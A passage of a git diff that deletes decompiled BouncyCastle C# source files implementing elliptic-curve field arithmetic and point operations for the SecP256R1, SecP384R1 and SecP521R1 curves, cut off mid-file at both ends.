- uint x = Nat256.AddBothTo(array6, array6, array6); - SecP256R1Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP256R1Field.Multiply(array3, secP256R1FieldElement2.x, array7); - x = Nat.ShiftUpBits(8, array7, 2, 0u); - SecP256R1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(8, array4, 3, 0u, array); - SecP256R1Field.Reduce32(x, array); - SecP256R1FieldElement secP256R1FieldElement4 = new SecP256R1FieldElement(array4); - SecP256R1Field.Square(array6, secP256R1FieldElement4.x); - SecP256R1Field.Subtract(secP256R1FieldElement4.x, array7, secP256R1FieldElement4.x); - SecP256R1Field.Subtract(secP256R1FieldElement4.x, array7, secP256R1FieldElement4.x); - SecP256R1FieldElement secP256R1FieldElement5 = new SecP256R1FieldElement(array7); - SecP256R1Field.Subtract(array7, secP256R1FieldElement4.x, secP256R1FieldElement5.x); - SecP256R1Field.Multiply(secP256R1FieldElement5.x, array6, secP256R1FieldElement5.x); - SecP256R1Field.Subtract(secP256R1FieldElement5.x, array, secP256R1FieldElement5.x); - SecP256R1FieldElement secP256R1FieldElement6 = new SecP256R1FieldElement(array6); - SecP256R1Field.Twice(secP256R1FieldElement.x, secP256R1FieldElement6.x); - if (!isOne) - { - SecP256R1Field.Multiply(secP256R1FieldElement6.x, secP256R1FieldElement3.x, secP256R1FieldElement6.x); - } - return new SecP256R1Point(curve, secP256R1FieldElement4, secP256R1FieldElement5, new ECFieldElement[1] { secP256R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP256R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Curve.cs deleted file mode 100644 index 397b9b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP384R1Curve : AbstractFpCurve -{ - private class SecP384R1LookupTable : ECLookupTable - { - private readonly SecP384R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP384R1LookupTable(SecP384R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat.Create(12); - uint[] array2 = Nat.Create(12); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 12; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 12 + j] & num2); - } - num += 24; - } - return m_outer.CreateRawPoint(new SecP384R1FieldElement(array), new SecP384R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP384R1_DEFAULT_COORDS = 2; - - private const int SECP384R1_FE_INTS = 12; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF")); - - protected readonly SecP384R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP384R1Curve() - : base(q) - { - m_infinity = new SecP384R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("B3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF"))); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP384R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP384R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP384R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP384R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 12 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat.Copy(12, ((SecP384R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 12; - Nat.Copy(12, ((SecP384R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 12; - } - return new SecP384R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Field.cs deleted file mode 100644 index 1645842..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Field.cs +++ /dev/null @@ -1,278 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP384R1Field -{ - private const uint P11 = uint.MaxValue; - - private const uint PExt23 = uint.MaxValue; - - internal static readonly uint[] P = new uint[12] - { - 4294967295u, 0u, 0u, 4294967295u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, - 4294967295u, 4294967295u - }; - - internal static readonly uint[] PExt = new uint[24] - { - 1u, 4294967294u, 0u, 2u, 0u, 4294967294u, 0u, 2u, 1u, 0u, - 0u, 0u, 4294967294u, 1u, 0u, 4294967294u, 4294967293u, 4294967295u, 4294967295u, 4294967295u, - 4294967295u, 4294967295u, 4294967295u, 4294967295u - }; - - private static readonly uint[] PExtInv = new uint[17] - { - 4294967295u, 1u, 4294967295u, 4294967293u, 4294967295u, 1u, 4294967295u, 4294967293u, 4294967294u, 4294967295u, - 4294967295u, 4294967295u, 1u, 4294967294u, 4294967295u, 1u, 2u - }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat.Add(12, x, y, z) != 0 || (z[11] == uint.MaxValue && Nat.Gte(12, z, P))) - { - AddPInvTo(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(24, xx, yy, zz) != 0 || (zz[23] == uint.MaxValue && Nat.Gte(24, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(24, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(12, x, z) != 0 || (z[11] == uint.MaxValue && Nat.Gte(12, z, P))) - { - AddPInvTo(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat.FromBigInteger(384, x); - if (array[11] == uint.MaxValue && Nat.Gte(12, array, P)) - { - Nat.SubFrom(12, P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(12, x, 0u, z); - return; - } - uint c = Nat.Add(12, x, P, z); - Nat.ShiftDownBit(12, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat.Create(24); - Nat384.Mul(x, y, array); - Reduce(array, z); - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat.IsZero(12, x)) - { - Nat.Zero(12, z); - } - else - { - Nat.Sub(12, P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - long num = xx[16]; - long num2 = xx[17]; - long num3 = xx[18]; - long num4 = xx[19]; - long num5 = xx[20]; - long num6 = xx[21]; - long num7 = xx[22]; - long num8 = xx[23]; - long num9 = xx[12] + num5 - 1; - long num10 = xx[13] + num7; - long num11 = xx[14] + num7 + num8; - long num12 = xx[15] + num8; - long num13 = num2 + num6; - long num14 = num6 - num8; - long num15 = num7 - num8; - long num16 = num9 + num14; - long num17 = 0L; - num17 += xx[0] + num16; - z[0] = (uint)num17; - num17 >>= 32; - num17 += xx[1] + num8 - num9 + num10; - z[1] = (uint)num17; - num17 >>= 32; - num17 += xx[2] - num6 - num10 + num11; - z[2] = (uint)num17; - num17 >>= 32; - num17 += xx[3] - num11 + num12 + num16; - z[3] = (uint)num17; - num17 >>= 32; - num17 += xx[4] + num + num6 + num10 - num12 + num16; - z[4] = (uint)num17; - num17 >>= 32; - num17 += xx[5] - num + num10 + num11 + num13; - z[5] = (uint)num17; - num17 >>= 32; - num17 += xx[6] + num3 - num2 + num11 + num12; - z[6] = (uint)num17; - num17 >>= 32; - num17 += xx[7] + num + num4 - num3 + num12; - z[7] = (uint)num17; - num17 >>= 32; - num17 += xx[8] + num + num2 + num5 - num4; - z[8] = (uint)num17; - num17 >>= 32; - num17 += xx[9] + num3 - num5 + num13; - z[9] = (uint)num17; - num17 >>= 32; - num17 += xx[10] + num3 + num4 - num14 + num15; - z[10] = (uint)num17; - num17 >>= 32; - num17 += xx[11] + num4 + num5 - num15; - z[11] = (uint)num17; - num17 >>= 32; - num17++; - Reduce32((uint)num17, z); - } - - public static void Reduce32(uint x, uint[] z) - { - long num = 0L; - if (x != 0) - { - long num2 = x; - num += z[0] + num2; - z[0] = (uint)num; - num >>= 32; - num += z[1] - num2; - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += z[3] + num2; - z[3] = (uint)num; - num >>= 32; - num += z[4] + num2; - z[4] = (uint)num; - num >>= 32; - } - if ((num != 0 && Nat.IncAt(12, z, 5) != 0) || (z[11] == uint.MaxValue && Nat.Gte(12, z, P))) - { - AddPInvTo(z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat.Create(24); - Nat384.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat.Create(24); - Nat384.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat384.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat.Sub(12, x, y, z) != 0) - { - SubPInvFrom(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(24, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(24, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(12, x, 0u, z) != 0 || (z[11] == uint.MaxValue && Nat.Gte(12, z, P))) - { - AddPInvTo(z); - } - } - - private static void AddPInvTo(uint[] z) - { - long num = (long)z[0] + 1L; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - 1L; - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] + 1L; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] + 1L; - z[4] = (uint)num; - num >>= 32; - if (num != 0) - { - Nat.IncAt(12, z, 5); - } - } - - private static void SubPInvFrom(uint[] z) - { - long num = (long)z[0] - 1L; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] + 1L; - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] - 1L; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - 1L; - z[4] = (uint)num; - num >>= 32; - if (num != 0) - { - Nat.DecAt(12, z, 5); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1FieldElement.cs deleted file mode 100644 index 71a3002..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1FieldElement.cs +++ /dev/null @@ -1,181 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP384R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP384R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat.IsZero(12, x); - - public override bool IsOne => Nat.IsOne(12, x); - - public override string FieldName => "SecP384R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP384R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP384R1FieldElement", "x"); - } - this.x = SecP384R1Field.FromBigInteger(x); - } - - public SecP384R1FieldElement() - { - x = Nat.Create(12); - } - - protected internal SecP384R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat.ToBigInteger(12, x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat.Create(12); - SecP384R1Field.Add(x, ((SecP384R1FieldElement)b).x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat.Create(12); - SecP384R1Field.AddOne(x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat.Create(12); - SecP384R1Field.Subtract(x, ((SecP384R1FieldElement)b).x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat.Create(12); - SecP384R1Field.Multiply(x, ((SecP384R1FieldElement)b).x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat.Create(12); - Mod.Invert(SecP384R1Field.P, ((SecP384R1FieldElement)b).x, z); - SecP384R1Field.Multiply(z, x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat.Create(12); - SecP384R1Field.Negate(x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat.Create(12); - SecP384R1Field.Square(x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat.Create(12); - Mod.Invert(SecP384R1Field.P, x, z); - return new SecP384R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat.IsZero(12, y) || Nat.IsOne(12, y)) - { - return this; - } - uint[] array = Nat.Create(12); - uint[] array2 = Nat.Create(12); - uint[] array3 = Nat.Create(12); - uint[] array4 = Nat.Create(12); - SecP384R1Field.Square(y, array); - SecP384R1Field.Multiply(array, y, array); - SecP384R1Field.SquareN(array, 2, array2); - SecP384R1Field.Multiply(array2, array, array2); - SecP384R1Field.Square(array2, array2); - SecP384R1Field.Multiply(array2, y, array2); - SecP384R1Field.SquareN(array2, 5, array3); - SecP384R1Field.Multiply(array3, array2, array3); - SecP384R1Field.SquareN(array3, 5, array4); - SecP384R1Field.Multiply(array4, array2, array4); - SecP384R1Field.SquareN(array4, 15, array2); - SecP384R1Field.Multiply(array2, array4, array2); - SecP384R1Field.SquareN(array2, 2, array3); - SecP384R1Field.Multiply(array, array3, array); - SecP384R1Field.SquareN(array3, 28, array3); - SecP384R1Field.Multiply(array2, array3, array2); - SecP384R1Field.SquareN(array2, 60, array3); - SecP384R1Field.Multiply(array3, array2, array3); - uint[] z = array2; - SecP384R1Field.SquareN(array3, 120, z); - SecP384R1Field.Multiply(z, array3, z); - SecP384R1Field.SquareN(z, 15, z); - SecP384R1Field.Multiply(z, array4, z); - SecP384R1Field.SquareN(z, 33, z); - SecP384R1Field.Multiply(z, array, z); - SecP384R1Field.SquareN(z, 64, z); - SecP384R1Field.Multiply(z, y, z); - SecP384R1Field.SquareN(z, 30, array); - SecP384R1Field.Square(array, array2); - if (!Nat.Eq(12, y, array2)) - { - return null; - } - return new SecP384R1FieldElement(array); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP384R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP384R1FieldElement); - } - - public virtual bool Equals(SecP384R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat.Eq(12, x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 12); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Point.cs deleted file mode 100644 index 3bfee50..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP384R1Point.cs +++ /dev/null @@ -1,229 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP384R1Point : AbstractFpPoint -{ - public SecP384R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP384R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP384R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP384R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP384R1FieldElement secP384R1FieldElement = (SecP384R1FieldElement)base.RawXCoord; - SecP384R1FieldElement secP384R1FieldElement2 = (SecP384R1FieldElement)base.RawYCoord; - SecP384R1FieldElement secP384R1FieldElement3 = (SecP384R1FieldElement)b.RawXCoord; - SecP384R1FieldElement secP384R1FieldElement4 = (SecP384R1FieldElement)b.RawYCoord; - SecP384R1FieldElement secP384R1FieldElement5 = (SecP384R1FieldElement)base.RawZCoords[0]; - SecP384R1FieldElement secP384R1FieldElement6 = (SecP384R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat.Create(24); - uint[] array2 = Nat.Create(24); - uint[] array3 = Nat.Create(12); - uint[] array4 = Nat.Create(12); - bool isOne = secP384R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP384R1FieldElement3.x; - array6 = secP384R1FieldElement4.x; - } - else - { - array6 = array3; - SecP384R1Field.Square(secP384R1FieldElement5.x, array6); - array5 = array2; - SecP384R1Field.Multiply(array6, secP384R1FieldElement3.x, array5); - SecP384R1Field.Multiply(array6, secP384R1FieldElement5.x, array6); - SecP384R1Field.Multiply(array6, secP384R1FieldElement4.x, array6); - } - bool isOne2 = secP384R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP384R1FieldElement.x; - array8 = secP384R1FieldElement2.x; - } - else - { - array8 = array4; - SecP384R1Field.Square(secP384R1FieldElement6.x, array8); - array7 = array; - SecP384R1Field.Multiply(array8, secP384R1FieldElement.x, array7); - SecP384R1Field.Multiply(array8, secP384R1FieldElement6.x, array8); - SecP384R1Field.Multiply(array8, secP384R1FieldElement2.x, array8); - } - uint[] array9 = Nat.Create(12); - SecP384R1Field.Subtract(array7, array5, array9); - uint[] array10 = Nat.Create(12); - SecP384R1Field.Subtract(array8, array6, array10); - if (Nat.IsZero(12, array9)) - { - if (Nat.IsZero(12, array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP384R1Field.Square(array9, array11); - uint[] array12 = Nat.Create(12); - SecP384R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP384R1Field.Multiply(array11, array7, array13); - SecP384R1Field.Negate(array12, array12); - Nat384.Mul(array8, array12, array); - uint x = Nat.AddBothTo(12, array13, array13, array12); - SecP384R1Field.Reduce32(x, array12); - SecP384R1FieldElement secP384R1FieldElement7 = new SecP384R1FieldElement(array4); - SecP384R1Field.Square(array10, secP384R1FieldElement7.x); - SecP384R1Field.Subtract(secP384R1FieldElement7.x, array12, secP384R1FieldElement7.x); - SecP384R1FieldElement secP384R1FieldElement8 = new SecP384R1FieldElement(array12); - SecP384R1Field.Subtract(array13, secP384R1FieldElement7.x, secP384R1FieldElement8.x); - Nat384.Mul(secP384R1FieldElement8.x, array10, array2); - SecP384R1Field.AddExt(array, array2, array); - SecP384R1Field.Reduce(array, secP384R1FieldElement8.x); - SecP384R1FieldElement secP384R1FieldElement9 = new SecP384R1FieldElement(array9); - if (!isOne) - { - SecP384R1Field.Multiply(secP384R1FieldElement9.x, secP384R1FieldElement5.x, secP384R1FieldElement9.x); - } - if (!isOne2) - { - SecP384R1Field.Multiply(secP384R1FieldElement9.x, secP384R1FieldElement6.x, secP384R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP384R1FieldElement9 }; - return new SecP384R1Point(curve, secP384R1FieldElement7, secP384R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP384R1FieldElement secP384R1FieldElement = (SecP384R1FieldElement)base.RawYCoord; - if (secP384R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP384R1FieldElement secP384R1FieldElement2 = (SecP384R1FieldElement)base.RawXCoord; - SecP384R1FieldElement secP384R1FieldElement3 = (SecP384R1FieldElement)base.RawZCoords[0]; - uint[] array = Nat.Create(12); - uint[] array2 = Nat.Create(12); - uint[] array3 = Nat.Create(12); - SecP384R1Field.Square(secP384R1FieldElement.x, array3); - uint[] array4 = Nat.Create(12); - SecP384R1Field.Square(array3, array4); - bool isOne = secP384R1FieldElement3.IsOne; - uint[] array5 = secP384R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP384R1Field.Square(secP384R1FieldElement3.x, array5); - } - SecP384R1Field.Subtract(secP384R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP384R1Field.Add(secP384R1FieldElement2.x, array5, array6); - SecP384R1Field.Multiply(array6, array, array6); - uint x = Nat.AddBothTo(12, array6, array6, array6); - SecP384R1Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP384R1Field.Multiply(array3, secP384R1FieldElement2.x, array7); - x = Nat.ShiftUpBits(12, array7, 2, 0u); - SecP384R1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(12, array4, 3, 0u, array); - SecP384R1Field.Reduce32(x, array); - SecP384R1FieldElement secP384R1FieldElement4 = new SecP384R1FieldElement(array4); - SecP384R1Field.Square(array6, secP384R1FieldElement4.x); - SecP384R1Field.Subtract(secP384R1FieldElement4.x, array7, secP384R1FieldElement4.x); - SecP384R1Field.Subtract(secP384R1FieldElement4.x, array7, secP384R1FieldElement4.x); - SecP384R1FieldElement secP384R1FieldElement5 = new SecP384R1FieldElement(array7); - SecP384R1Field.Subtract(array7, secP384R1FieldElement4.x, secP384R1FieldElement5.x); - SecP384R1Field.Multiply(secP384R1FieldElement5.x, array6, secP384R1FieldElement5.x); - SecP384R1Field.Subtract(secP384R1FieldElement5.x, array, secP384R1FieldElement5.x); - SecP384R1FieldElement secP384R1FieldElement6 = new SecP384R1FieldElement(array6); - SecP384R1Field.Twice(secP384R1FieldElement.x, secP384R1FieldElement6.x); - if (!isOne) - { - SecP384R1Field.Multiply(secP384R1FieldElement6.x, secP384R1FieldElement3.x, secP384R1FieldElement6.x); - } - return new SecP384R1Point(curve, secP384R1FieldElement4, secP384R1FieldElement5, new ECFieldElement[1] { secP384R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP384R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Curve.cs deleted file mode 100644 index 950dd2e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP521R1Curve : AbstractFpCurve -{ - private class SecP521R1LookupTable : ECLookupTable - { - private readonly SecP521R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP521R1LookupTable(SecP521R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat.Create(17); - uint[] array2 = Nat.Create(17); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 17; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 17 + j] & num2); - } - num += 34; - } - return m_outer.CreateRawPoint(new SecP521R1FieldElement(array), new SecP521R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP521R1_DEFAULT_COORDS = 2; - - private const int SECP521R1_FE_INTS = 17; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")); - - protected readonly SecP521R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP521R1Curve() - : base(q) - { - m_infinity = new SecP521R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("0051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00"))); - m_order = new BigInteger(1, Hex.Decode("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP521R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP521R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP521R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP521R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 17 